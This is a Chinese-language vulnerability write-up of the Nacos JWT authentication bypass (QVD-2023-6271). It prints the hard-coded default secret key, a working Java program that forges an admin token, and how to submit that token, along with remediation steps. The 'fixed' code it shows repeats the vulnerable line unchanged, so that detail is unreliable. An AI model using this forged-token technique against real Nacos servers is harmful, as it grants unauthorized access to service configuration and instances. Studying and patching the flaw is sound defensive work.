nacos token.secret.key身份认证绕过漏洞(QVD-2023-6271)
字数 1347 2025-08-24 20:49:31
Nacos 身份认证绕过漏洞(QVD-2023-6271) 分析与利用指南
漏洞概述
Nacos 是一个动态服务发现和配置管理平台,用于构建云原生应用程序和微服务平台。在 0.1.0 到 2.2.0 版本中,存在一个身份认证绕过漏洞(QVD-2023-6271),也称为 NVDB-CNVDB-2023674205。该漏洞源于默认配置下 token.secret.key 使用固定值,导致攻击者可以构造有效的 JWT 令牌绕过身份认证。
影响版本
- 受影响版本:0.1.0 <= Nacos <= 2.2.0
- 安全版本:2.2.0 之后的版本已修复此问题
漏洞原理
根本原因
-
固定密钥问题:Nacos 在
conf/application.properties文件中硬编码了 JWT 签名密钥:SecretKey012345678901234567890123456789012345678901234567890123456789 -
JWT 验证机制:Nacos 使用 JWT 进行身份认证,但验证时仅检查令牌的有效性,而不验证密钥是否被修改。
-
密钥生成流程:
- 用户登录时调用
resolveTokenFromUser方法 - 进而调用
createToken方法生成 JWT createToken使用getSecretKeyBytes方法将固定密钥转换为字节数组- 密钥从
application.properties中读取,且默认值固定不变
- 用户登录时调用
技术细节
在 com.alibaba.nacos.plugin.auth.impl.JwtTokenManager#createToken 方法中:
public String createToken(String userName) {
Date validity = new Date(System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(this.getTokenValidityInSeconds()));
Claims claims = Jwts.claims().setSubject(userName);
return Jwts.builder()
.setClaims(claims)
.setExpiration(validity)
.signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
}
其中 secretKey 来自:
this.secretKey = Keys.hmacShaKeyFor(Decoders.BASE64.decode(encodedSecretKey));
而 encodedSecretKey 是固定的默认值:
String encodedSecretKey = EnvUtil.getProperty(AuthConstants.TOKEN_SECRET_KEY, AuthConstants.DEFAULT_TOKEN_SECRET_KEY);
漏洞复现
环境搭建
-
从 GitHub 下载受影响版本的 Nacos:
https://github.com/alibaba/nacos/releases -
确保在配置文件中开启权限认证:
nacos.core.auth.enabled=true
利用步骤
-
构造 JWT 令牌:
- 使用固定密钥:
SecretKey012345678901234567890123456789012345678901234567890123456789 - Payload 示例:
{ "sub": "nacos", "exp": 1679318378 // UNIX 时间戳,需比当前时间晚 }
- 使用固定密钥:
-
生成有效令牌:
使用 jwt.io 或以下 Java 代码生成令牌:import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.io.Decoders; import io.jsonwebtoken.security.Keys; import java.nio.charset.StandardCharsets; import java.util.Date; public class key { public static void main(String[] args) { System.out.println(createToken("nacos")); } public static String createToken(String userName) { String key = "SecretKey012345678901234567890123456789012345678901234567890123456789"; long now = System.currentTimeMillis(); Date validity = new Date(now + 18000 * 1000L); Claims claims = Jwts.claims().setSubject(userName); return Jwts.builder() .setClaims(claims) .setExpiration(validity) .signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key))) .compact(); } } -
使用生成的令牌:
- 在请求头中添加:
Authorization: Bearer <生成的JWT令牌> - 或作为 GET 参数:
?accessToken=<生成的JWT令牌>
- 在请求头中添加:
漏洞验证
成功利用后,攻击者可以:
- 访问 Nacos 管理后台
- 查看、修改服务配置
- 管理服务实例
- 执行系统受控等操作
修复方案
临时解决方案
-
修改默认密钥:
在conf/application.properties中修改:nacos.core.auth.default.token.secret.key=自定义的复杂密钥 -
重启 Nacos 服务使配置生效
官方修复方案
升级到最新版本,修复后的版本中:
- 密钥不再硬编码
- 增加了密钥随机生成机制
- 强制要求管理员配置自定义密钥
修复后的代码逻辑:
String encodedSecretKey = EnvUtil.getProperty(AuthConstants.TOKEN_SECRET_KEY, AuthConstants.DEFAULT_TOKEN_SECRET_KEY);
参考链接
- Nacos GitHub: https://github.com/alibaba/nacos
- JWT 调试工具: https://jwt.io/
- 漏洞讨论: 先知社区原文
总结
该漏洞属于典型的硬编码密钥问题,与 Apache Shiro 的硬编码漏洞类似。管理员应及时更新 Nacos 版本或至少修改默认密钥,以避免未授权访问风险。对于安全研究人员,了解 JWT 机制和密钥管理最佳实践对发现和防范此类漏洞至关重要。